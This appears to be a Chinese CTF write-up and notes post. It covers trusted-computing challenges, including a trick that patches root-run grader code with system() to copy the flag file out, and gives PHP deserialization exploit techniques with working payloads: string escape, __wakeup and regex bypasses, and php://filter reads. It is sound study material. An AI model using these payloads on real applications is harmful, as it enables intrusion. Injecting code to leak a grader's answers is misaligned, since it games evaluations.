写在开头

0.重要
先打非预期
cat /root/cube-shell/instance/flag_server/flag.list
如果没有这个文件找一下
find / -name *flag* 2> /dev/null

1.如何连接题目?
题目类似于下面的样子
2024-07-11T11:22:37.png
连接方案:ssh -p 32325 player@39.106.48.123
然后输入密码就连上了

2.如何找到代码?
一般在~/题目名/src下面有几个模块,根据题目给的文档找就行了。

3.如何验证答案?
根据题目给的文档,一般是在/题目名文件夹下有player.sh,我们采用sh player.sh即可运行他给的脚本。

4.如何改写代码?
使用服务器自带的vim编辑器进行修改,也可以先cat出来,复制到本地再粘贴上去。

5.vim粘贴事项?
首先你要清空文本,然后输入i打开input mode,然后输入:set paste打开粘贴模式,最后Ctrl+Shift+V进行粘贴。当然要关闭粘贴模式输入:set nopaste,之所以要打开粘贴模式,是因为粘贴进去会有缩进,导致代码全乱,粘贴模式打开后重新进入vim后自动关闭,需要再次打开。

6.为什么sftp和scp用不了?
因为服务器不支持,这是我觉得最匪夷所思的地方。

必看!!!黑手办法!!!!

经过我的测试,我们发现只要可信计算不是下面这种题
2024-07-11T17:12:19.png
我是有通杀方案的!我们下来来讨论一下通杀(理论让你运行sh player.sh的题都行)。
首先我们知道,存flag的地方是固定的,因为所有可信计算题目都是一个模子( 本题目为“兵棋“模式新型可信计算赛题,示例在docker环境下运行,基于可信软件基原型Cube-1.3搭建,通过分布式消息驱动机制模拟应用流程与攻防行为。
cat /root/cube-shell/instance/flag_server/flag.list这是flag的地方,如果能cat出来直接交flag,cat不出来(没权限的话)就接着看。
1.进入题目的文件夹
2.输入touch /tmp/flag来在tmp文件夹里面创建flag空文件,便于后续写入,因为代码跑在root下,所以直接mv过来会导致权限还是root的,无法读取。
3.输入source set_env.sh来设置编译的环境(这个一般都在doc中有)。
4.cd src/xxxxx进入xxxx文件夹(题目需要你补全的代码文件夹)
5.vim xxxxxx.c 来进入要修改的c文件
6.找到这个文件里面的init函数,如下图
2024-07-11T17:26:51.png
7.写入system("cat /root/cube-shell/instance/flag_server/flag.list > /tmp/flag");如下图
2024-07-11T17:26:37.png
8.保存退出:wq然后当前文件夹下执行make
9.cd ../../来返回到主文件夹
10.sh player.sh 来开启评测,静候评测结束(10秒内不输出东西的时候)。
11.cat /tmp/flag 拿下。

基于挑战码的双向认证1 & 2

详细阅读给的文档,发现是一个让你完成代码片段类的题目。
2024-07-11T11:15:48.png

国密SM1/SCB2,SM4/SMS4,SM7是对称加密,对标 DES, IDEA, AES, RC5, RC6
国密SM2,SM9是基于离散对数的非对称加密,对标ECC, ECDH, DAS, DH
国密SM3是杂凑(哈希)对标SHA256, MD5, SHA512, SHA-1, SHA-2

所以可以理解为让你补一个哈希处理的函数。

接着读题,让你补一个特定的函数,就去找这个函数。
2024-07-11T11:20:06.png

这是函数最初的样子

int proc_login_response(void * sub_proc,void * recv_msg)
{
        int ret;
        RECORD(USER_DEFINE,CLIENT_STATE) * client_state;
        RECORD(USER_DEFINE,LOGIN) * login_info;
        RECORD(USER_DEFINE,RETURN) * return_info;
        void * new_msg;

    // get the store data in first step
        client_state = proc_share_data_getpointer();
    if(client_state==NULL)
        return -EINVAL;

   // get server return login data  and copy nonce B
        ret=message_get_record(recv_msg,&login_info,0);
        if(ret<0)
                return ret;
    Memcpy(client_state->nonceB,login_info->nonce,DIGEST_SIZE);

    // compute Mb‘ value

    // add your code here!

    // compare Mb and Mb'
    if( Memcmp(Buf+DIGEST_SIZE*3,login_info->passwd,DIGEST_SIZE) != 0)
    {
        // server verify failed, build a server verify failed message
                client_state->curr_state=ERROR;
            proc_share_data_setpointer(client_state);

            return_info=Talloc0(sizeof(*return_info));
            if(return_info==NULL)
                    return -ENOMEM;
                return_info->return_code=SERVERERR;
                return_info->return_info=dup_str("server verify failed!\n",0);

            new_msg=message_create(TYPE_PAIR(USER_DEFINE,RETURN),recv_msg);
            if(new_msg==NULL)
                    return -EINVAL;
            ret=message_add_record(new_msg,return_info);
            if(ret<0)
                    return ret;

            ret=ex_module_sendmsg(sub_proc,new_msg);

            return ret;
    }

    // server verify succeed, now prepare to compute the response data


    // reponse phrase: compute  the Ma value start

    // add your code here!

    // compute Ma value end
    Memset(login_info->nonce,0,DIGEST_SIZE);

    // compute the response data end
    // add the login info in message and send it

        new_msg=message_create(TYPE_PAIR(USER_DEFINE,LOGIN),NULL);
        if(new_msg==NULL)
                return -EINVAL;
        ret=message_add_record(new_msg,login_info);
        if(ret<0)
                return ret;
        ret=ex_module_sendmsg(sub_proc,new_msg);

    // challenge client_state value and store it
        if(ret >=0)
                client_state->curr_state=RESPONSE;
        proc_share_data_setpointer(client_state);
        return ret;
}

我们先补第一块

    // compute Mb‘ value

    // add your code here!

由于Mb' = SM3(key, rA||rB)我们还不知道右边的形式是啥样,我们可以参考login_server的源码,搜索sm3,找到如下结果

Memset(Buf,0,DIGEST_SIZE*4);
Strncpy(Buf,user_state->passwd,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,user_state->nonceA,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE*2,user_state->nonceB,DIGEST_SIZE);

calculate_context_sm3(Buf,DIGEST_SIZE*3,login_info->passwd);
Memcpy(login_info->nonce,user_state->nonceB,DIGEST_SIZE);

我们先找calculate_context_sm3的函数原型,先在根目录find头文件然后进去grep即可。

[player@engine-1 root]$ cat ./centoscloud/cube-1.3/include/crypto_func.h | grep calculate_context_sm3
int calculate_context_sm3(BYTE* context, int context_size, BYTE *SM3_hash);

显然第一个是输入,第二个是输入的长度,第三个是返回值,第三个应该传入返回指针。
分析login_server的代码,DIGEST_SIZE可以认为是一组数据的长度,Buf是缓冲区,用来拼凑数据的,这块经过对比后显然是服务端用来计算Mb的,我们就知道了,SM3(key, rA||rB)的意思其实就是把三个成一个整体,从左到右按顺序,我们就可以把这个复制过来,改一改,作为我们补写的代码:

Memset(Buf,0,DIGEST_SIZE*4);
Strncpy(Buf,client_state->key,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE*2,client_state->nonceB,DIGEST_SIZE);

calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3);

注意第二行不是client_state->passwd,因为passwd其实是SM3(key, rA||rB)的结果,而key才是原始key,在客户端代码区找key就知道它在client_state
我们接着看第二块

// reponse phrase: compute  the Ma value start

// add your code here!

显然是让我们补充Ma的计算,计算方法是MA=SM3(key,rB)
我们参考服务端的Ma'的计算验证

Memset(Buf,0,DIGEST_SIZE*2);
Strncpy(Buf,user_state->passwd,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,user_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*2,Buf+DIGEST_SIZE*2);

然后改成客户端的

Memset(Buf,0,DIGEST_SIZE*2);
Strncpy(Buf,client_status->passwd,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,user_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*2, login_info->passwd);

为什么把结果放在login_info->passwd呢?因为可以注意到服务端代码,login_info是互相传递的。
2024-07-11T11:41:53.png

完整函数代码

int proc_login_response(void * sub_proc,void * recv_msg)
{
        int ret;
        RECORD(USER_DEFINE,CLIENT_STATE) * client_state;
        RECORD(USER_DEFINE,LOGIN) * login_info;
        RECORD(USER_DEFINE,RETURN) * return_info;
        void * new_msg;

    // get the store data in first step
        client_state = proc_share_data_getpointer();
    if(client_state==NULL)
        return -EINVAL;

   // get server return login data  and copy nonce B
        ret=message_get_record(recv_msg,&login_info,0);
        if(ret<0)
                return ret;
    Memcpy(client_state->nonceB,login_info->nonce,DIGEST_SIZE);

    // compute Mb‘ value

    // add your code here!
    Memset(Buf,0,DIGEST_SIZE*4);
    Strncpy(Buf,client_state->key,DIGEST_SIZE);
    Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
    Memcpy(Buf+DIGEST_SIZE*2,client_state->nonceB,DIGEST_SIZE);
    calculate_context_sm3(Buf, DIGEST_SIZE*3, Buf+DIGEST_SIZE*3);

    // compare Mb and Mb'
    if( Memcmp(Buf+DIGEST_SIZE*3,login_info->passwd,DIGEST_SIZE) != 0)
    {
        // server verify failed, build a server verify failed message
                client_state->curr_state=ERROR;
            proc_share_data_setpointer(client_state);

            return_info=Talloc0(sizeof(*return_info));
            if(return_info==NULL)
                    return -ENOMEM;
                return_info->return_code=SERVERERR;
                return_info->return_info=dup_str("server verify failed!\n",0);

            new_msg=message_create(TYPE_PAIR(USER_DEFINE,RETURN),recv_msg);
            if(new_msg==NULL)
                    return -EINVAL;
            ret=message_add_record(new_msg,return_info);
            if(ret<0)
                    return ret;

            ret=ex_module_sendmsg(sub_proc,new_msg);

            return ret;
    }

    // server verify succeed, now prepare to compute the response data


    // reponse phrase: compute  the Ma value start

    // add your code here!
    Memset(Buf,0,DIGEST_SIZE*3);
    Strncpy(Buf,client_state->key,DIGEST_SIZE);
    Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE);
    calculate_context_sm3(Buf,DIGEST_SIZE*2, login_info->passwd);
    
    // compute Ma value end
    Memset(login_info->nonce,0,DIGEST_SIZE);

    // compute the response data end
    // add the login info in message and send it

        new_msg=message_create(TYPE_PAIR(USER_DEFINE,LOGIN),NULL);
        if(new_msg==NULL)
                return -EINVAL;
        ret=message_add_record(new_msg,login_info);
        if(ret<0)
                return ret;
        ret=ex_module_sendmsg(sub_proc,new_msg);

    // challenge client_state value and store it
        if(ret >=0)
                client_state->curr_state=RESPONSE;
        proc_share_data_setpointer(client_state);
        return ret;
}

最后,别忘了在代码文件夹下make,然后返回主目录,执行sh player.sh就拿到了flag。

Biba

非预期

userdefine 1 & 2

ez
代码补全后

int proc_access_write(void * sub_proc,void * recv_msg)
{
        int ret;
        RECORD(RECORD_DEFINE,WRITE) * record_write;
        RECORD(LABEL_DEFINE,USER) * user_label;
        MSG_EXPAND * msg_expand;
        void * new_msg;

        ret=message_get_record(recv_msg,&record_write,0);
        if(ret<0)
                return ret;

        ret=message_remove_expand(recv_msg,TYPE_PAIR(LABEL_DEFINE,USER),&msg_expand);
        if(ret<0)
                return ret;
        if(msg_expand==NULL)
        {
                print_cubeerr("can't find user attached!\n");
                return -EINVAL;
        }
        user_label=msg_expand->expand;


        if(user_label->role == 1)
        {
            //admin
            
        }else
        {
            if(strcmp(record_write->segment, "admin_info") == 0)
            {
                new_msg=message_create(TYPE_PAIR(USER_DEFINE,RETURN),recv_msg);
                      RECORD(USER_DEFINE,RETURN) * err_return = Talloc0(sizeof(*err_return));
                      if(err_return==NULL)
                              return -ENOMEM;
                      err_return->return_info=dup_str("write permission denied!",0);
                      err_return->return_code=NOACCESS;
                      message_add_record(new_msg,err_return);
                      ret=ex_module_sendmsg(sub_proc,new_msg);
                      return ret;
            }
        }

        ret=ex_module_sendmsg(sub_proc,recv_msg);
        return ret;
}

int proc_access_read(void * sub_proc,void * recv_msg)
{
        int ret;
        RECORD(RECORD_DEFINE,RECORD) * record_data;
        RECORD(LABEL_DEFINE,USER) * user_label;
        MSG_EXPAND * msg_expand;
        void * new_msg;

        ret=message_get_record(recv_msg,&record_data,0);
        if(ret<0)
                return ret;

        ret=message_remove_expand(recv_msg,TYPE_PAIR(LABEL_DEFINE,USER),&msg_expand);
        if(ret<0)
                return ret;
        if(msg_expand==NULL)
        {
                print_cubeerr("can't find user attached!\n");
                return -EINVAL;
        }
        user_label=msg_expand->expand;

    // add read access control code here
    // filter the non_access data in record_data
    // if you want to erase an elem in record_data, just let
    // record_data->xxx = NULL

        if(user_label->role == 1)
        {
            //admin
        }else
        {
            record_data->admin_info = NULL;
        }


        new_msg=message_create(TYPE_PAIR(RECORD_DEFINE,RECORD),recv_msg);
        if(new_msg==NULL)
                return -EINVAL;
        message_add_record(new_msg,record_data);
        ret=ex_module_sendmsg(sub_proc,new_msg);
        return ret;
}

写在最后

结果今年国赛是有人检查+不给你shell的😂

什么是字符串逃逸

当开发者把用户输入的敏感字符进行过滤/替换,最后再进行反序列化,就有可能出现字符串逃逸,也即反序列化表示的字符串长度和实际上反序列化的长度不一样,导致字符串增多/减少。如下面两种情况。
2024-07-10T09:34:34.png

处理后字符串变短

这样会导致字符串后面的反序列化语句成为这个字符串的一部分,只要想办法让它下一个可控的字符串对象的前面被覆盖掉,然后在下一个字符串写有效的反序列化语句就行,由于从左往右反序列化,所以我们只需要

处理后字符串变长

这会导致该字符串从尾部“吐出来”字符,只需要让吐出来的字符是有效的反序列化语句即可,最后可以使用}来终止掉反序列化,来避免后面可能存在的不可控反序列化,但是一定要满足前面的object个数,可重复覆盖,但是如果不满足个数,可能会导致反序列化异常(有时候必须要这样来绕过__wakeup,根据情况来处理即可)。

例题

安恒月赛Web(有改动)

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        if($this->c == "flag.php")
        {
            echo "flag{114514}";
        }
        // echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

分析代码

write()
"\0*\0"=>"\\0\\0\\0"

read()
"\\0\\0\\0"=>"\0*\0"

值得注意的是'0'括起来的\0就是\0文本而不会转义为chr(0)。
所以如果我们输入"\0*\0\\0\\0\\0",经过read(write())后,就会变成"\0*\0\0*\0",在反序列化的时候,这个\0开始的文本就是结尾,不会再看后面的文本了。也相当于一个这个文本组合,减少了9个字符,也就属于“减少”的逃逸了。
接下来就是一个简单的pop了。
我们先生成一个

<?php
class B{
    public $b;
    public function __construct()
    {
        $this->b = new C;
    }
}

class C{
    public $c;
    public function __construct()
    {
        $this->c = 'flag.php';
    }
}

echo urlencode(serialize(new B));

得到
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

我们先按
a=O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
b=1212121
来走一遍他自己的read write,然后拿read的结果
O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
这个对象将会创建A类,然后账号密码分别设置,我们需要想办法让它创建B类。

我们先尝试给a添加上,然后修改一下本地的代码,让它输出
2024-07-10T10:45:56.png
发送我们准备的payload

?a=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D%00*%00%5C0%5C0%5C0&b=111111111111111111

我专门让b足够长,大于10,这样会让它前面的长度保持在10~99,方便我们写其他的东西。
我们看一下输出
2024-07-10T10:48:48.png
我们试试

?a=\0\0\0&b=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D

注意划线部分
2024-07-10T11:18:20.png
实际长度是3,但是却认为是6,这样就是“缩短”的绕过
我们只需要让它覆盖到如下图所示的23字符,就可以在password的字面量值中修改东西了(注意看password的文本长度是10~99还是100+,这样要调整覆盖长度,这里是两位数所以是23),但是一个\0\0\0只能制造3个空间,我们要23个,可以多制造一个,24个,覆盖掉password文本的第一个字符,但是我们这时候就需要使用24/3=8组\0\0\0来达到目的了。
2024-07-10T11:19:20.png
我们使用下面的payload(注意:需要url编码)

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}

2024-07-10T11:25:29.png
这样我们就成功拿到了flag
2024-07-10T11:26:42.png

总结:在做字符串缩短题目的时候,如果是单个字符缩短最好,这样可以直接控制个数,如果是多个字符一次性缩短(比如说这个题,一组文本缩短3个),我们就需要适当增加缩短的个数,比如说这个题要23个,但是我们3个一组,我们就扩展到24,并且把多余的那个给占用掉,最后再把多余的给舍弃(通过}),就可以了。

eval

  1. eval("")传入的东西将会被认作php代码来执行,结尾必须有分号否则报错,如果有多行只会执行第一行
  2. eval("#".$payload);这样的payload,可以通过 ?><?php 绕过,由于第一条,所以不能用类似于nxxxxx来绕过。

__wakeup

如果 __wakeup函数中有着你不想让它触发的代码,且php版本在 PHP5 < 5.6.25 或 PHP7 < 7.0.10 就可以通过unserialize中传入的参数个数和实际的个数不匹配来绕过__wakeup函数的执行。

__destruct

这个函数会在php回收对象的时候调用,有几种情况

  1. PHP 代码执行完毕
  2. 直接new A();,对象直接会被销毁(没有变量存)。
  3. $a = new A(); $a = 114514; 覆盖掉new的类也会被销毁。
  4. unset($a); 手动删除对象
  5. 反序列化错误,比如
<?php
highlight_file(__FILE__);
class foo {
    public function __destruct()
    {
        echo "flag{114514}";
    }
}
$a = unserialize($_GET['input']);
throw new Exception('st0p');

由于有Exception,类不会被在执行完毕的时候被销毁,所以第一条直接失效了。
我们正常序列化这个类,结果是O:3:"foo":0:{}
我们稍微改造一下这个,把他弄成错误的,比如O:3:"foo":0:{
由于反序列化从左到右,所以他已经把foo类创建了,但是报错会让它被销毁,这样就利用成功。

当然,也可以使用第三条来利用:
2024-07-10T08:22:34.png

file_put_contents / file_get_contents

这个函数可以传入PHP伪协议,详情请见另一篇文章,下面给出一些快速使用例子。
b64读:php://filter/read=convert.base64-encode/resource=flag.php
b64写:php://filter/write=convert.base64-encode/resource=flag.php

  • b64写可以绕死亡之exit();

preg_match

preg_match('/^O:d+/', $s) 的绕过

这个match会防止你传入一个反序列化的对象,如下题:

<?php
class A
{
    public function __wakeup()
    {
        echo "flag{114514}";
    }
}
$s = $_get['ans'];
if(!preg_match('/^O:\d+/', $s))
{
    echo "unserializing...</br>";
    unserialize($s);
}

这时,我们如果直接传O:1:"A":0:{}这样的对象,会被直接正则匹配从而失败。
但是我们如果传a:1:{i:0;O:1:"A":0:{}}就可以绕过,a是一个array,有一个元素,其中第0个元素就是我们的这个对象,这样对于array的unserialize,里面的所有对象都会被unserialize,这样我们也达到了目的。生成方法:echo serialize(array(new A));
当然,对于低版本的php,我们直接传入O:+1:"A":0:{},(注意+要被urlencode)也可以绕过正则匹配。而array法绕过对于较高版本php可行。

严格等于(===)的绕过

地址相同的反序列化

如题

<?php
class A{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = 'aaa';
    }

    public function __destruct()
    {
        if($this->a === $this->b && $this->b === 'aaa')
        {
            echo "flag{114514}";
        }
        else {
            die('b must be aaa!!!');
        }
    }
}

if(isset($_REQUEST['input']))
{
    if(preg_match('/aaa/', $_REQUEST['input']))
    {
        die('no!!');
    }
    unserialize($_REQUEST['input']);
}
else {
    highlight_file(__FILE__);
}

分析一下代码,$b必须是aaa,但是我序列化的时候不能把他直接设置为aaa,所以:
我们采用php的引用法,把b设置为对的引用就行了。

<?php
class A{
    public $a;
    public $b;
    public function __construct()
    {
        $this->b = &$this->a;
    }
}
echo urlencode(@serialize(new A));

这样在__wakeup的时候,$a被设置为了aaa,但是b是a的引用,所以b也自动变成了aaa,就可以绕过

字符串检测绕过

hex绕过

手动更改序列化中的s(字符串)为S(需要转义的字符串),然后修改后面需要绕过的字符串即可。
值得注意的是,\必须被URLencode才能传上去。
2024-07-10T09:25:22.png